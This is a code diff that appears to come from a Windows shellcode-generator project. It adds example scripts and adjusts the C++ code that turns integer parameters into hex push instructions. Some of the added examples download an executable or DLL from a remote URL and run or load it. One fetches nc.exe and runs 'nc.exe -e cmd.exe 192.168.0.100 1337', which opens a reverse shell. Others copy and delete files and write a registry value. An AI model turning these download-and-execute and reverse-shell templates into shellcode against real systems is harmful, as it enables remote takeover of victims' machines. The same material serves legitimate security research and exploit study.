@@ -0,0 +1,9 @@
+
+function URLDownloadToFileA("urlmon.dll");
+function WinExec("kernel32.dll");
+function ExitProcess("kernel32.dll");
+
+URLDownloadToFileA(0,"https://rstforums.com/fisiere/calc.exe","calc.exe",0,0);
+WinExec("calc.exe",0);
+ExitProcess(0);
+
@@ -0,0 +1,7 @@
+function URLDownloadToFileA("urlmon.dll");
+function LoadLibraryA("kernel32.dll");
+function ExitProcess("kernel32.dll");
+
+URLDownloadToFileA(0,"https://rstforums.com/fisiere/DLLExample.dll","SC.dll",0,0);
+LoadLibraryA("SC.dll");
+ExitProcess(0);
@@ -0,0 +1,8 @@
+
+function CopyFileA("kernel32.dll");
+function DeleteFileA("kernel32.dll");
+function ExitProcess("kernel32.dll");
+
+CopyFileA("C:\Windows\System32\calc.exe","C:\Users\Ionut\Desktop\calc.exe",0);
+DeleteFileA("C:\Users\Ionut\Desktop\Delete.txt");
+ExitProcess(0);
@@ -0,0 +1,5 @@
+function RegSetKeyValueA("advapi32.dll");
+function ExitProcess("kernel32.dll");
+
+RegSetKeyValueA(2147483649,"Software\Microsoft\Notepad","Test",1,"Nytro",5);
+ExitProcess(0);
@@ -0,0 +1,7 @@
+function URLDownloadToFileA("urlmon.dll");
+function WinExec("kernel32.dll");
+function ExitProcess("kernel32.dll");
+
+URLDownloadToFileA(0,"https://rstforums.com/fisiere/nc.exe","nc.exe",0,0);
+WinExec("nc.exe -e cmd.exe 192.168.0.100 1337",0);
+ExitProcess(0);
@@ -112,7 +112,7 @@ void AddFunctionCallIntParameter(string p_sIntParameter)
 {
 	Parameter Param;
 	Param.Type = PARAMETER_TYPE_INT;
-	Param.IntValue = stoi(p_sIntParameter);
+	Param.IntValue = (size_t)stoll(p_sIntParameter); 
 	AllFunctionCalls[AllFunctionCallsNr].Parameters.push_back(Param);
 }
 
@@ -408,6 +408,17 @@ size_t GetStringOffset(string p_sString)
 	return 0;
 }
 
+// Convert int to hex
+
+string IntToHexString(size_t p_iNumber)
+{
+	std::stringstream stream;
+	stream << std::hex << p_iNumber;
+	std::string result(stream.str());
+
+	return result;
+}
+
 // Generate a call to LoadLibrary("string")
 
 size_t NrBasesToStack = 0;
@@ -678,8 +689,8 @@ string GenerateFunctionCall(FunctionCall p_oFunctionCall)
 			}
 			else
 			{
-				sContent += "push ";
-				sContent += to_string(p_oFunctionCall.Parameters[i].IntValue);
+				sContent += "push 0x";
+				sContent += IntToHexString(p_oFunctionCall.Parameters[i].IntValue);
 				sContent += "\r\n";
 			}
 		}
Original file line number	Diff line number	Diff line change
@@ -112,7 +112,7 @@ void AddFunctionCallIntParameter(string p_sIntParameter)
112	112	{
113	113	Parameter Param;
114	114	Param.Type = PARAMETER_TYPE_INT;
115		- Param.IntValue = stoi(p_sIntParameter);
	115	+ Param.IntValue = (size_t)stoll(p_sIntParameter);
116	116	AllFunctionCalls[AllFunctionCallsNr].Parameters.push_back(Param);
117	117	}
118	118
@@ -408,6 +408,17 @@ size_t GetStringOffset(string p_sString)
408	408	return 0;
409	409	}
410	410
	411	+ // Convert int to hex
	412	+
	413	+ string IntToHexString(size_t p_iNumber)
	414	+ {
	415	+ std::stringstream stream;
	416	+ stream << std::hex << p_iNumber;
	417	+ std::string result(stream.str());
	418	+
	419	+ return result;
	420	+ }
	421	+
411	422	// Generate a call to LoadLibrary("string")
412	423
413	424	size_t NrBasesToStack = 0;
@@ -678,8 +689,8 @@ string GenerateFunctionCall(FunctionCall p_oFunctionCall)
678	689	}
679	690	else
680	691	{
681		- sContent += "push ";
682		- sContent += to_string(p_oFunctionCall.Parameters[i].IntValue);
	692	+ sContent += "push 0x";
	693	+ sContent += IntToHexString(p_oFunctionCall.Parameters[i].IntValue);
683	694	sContent += "\r\n";
684	695	}
685	696	}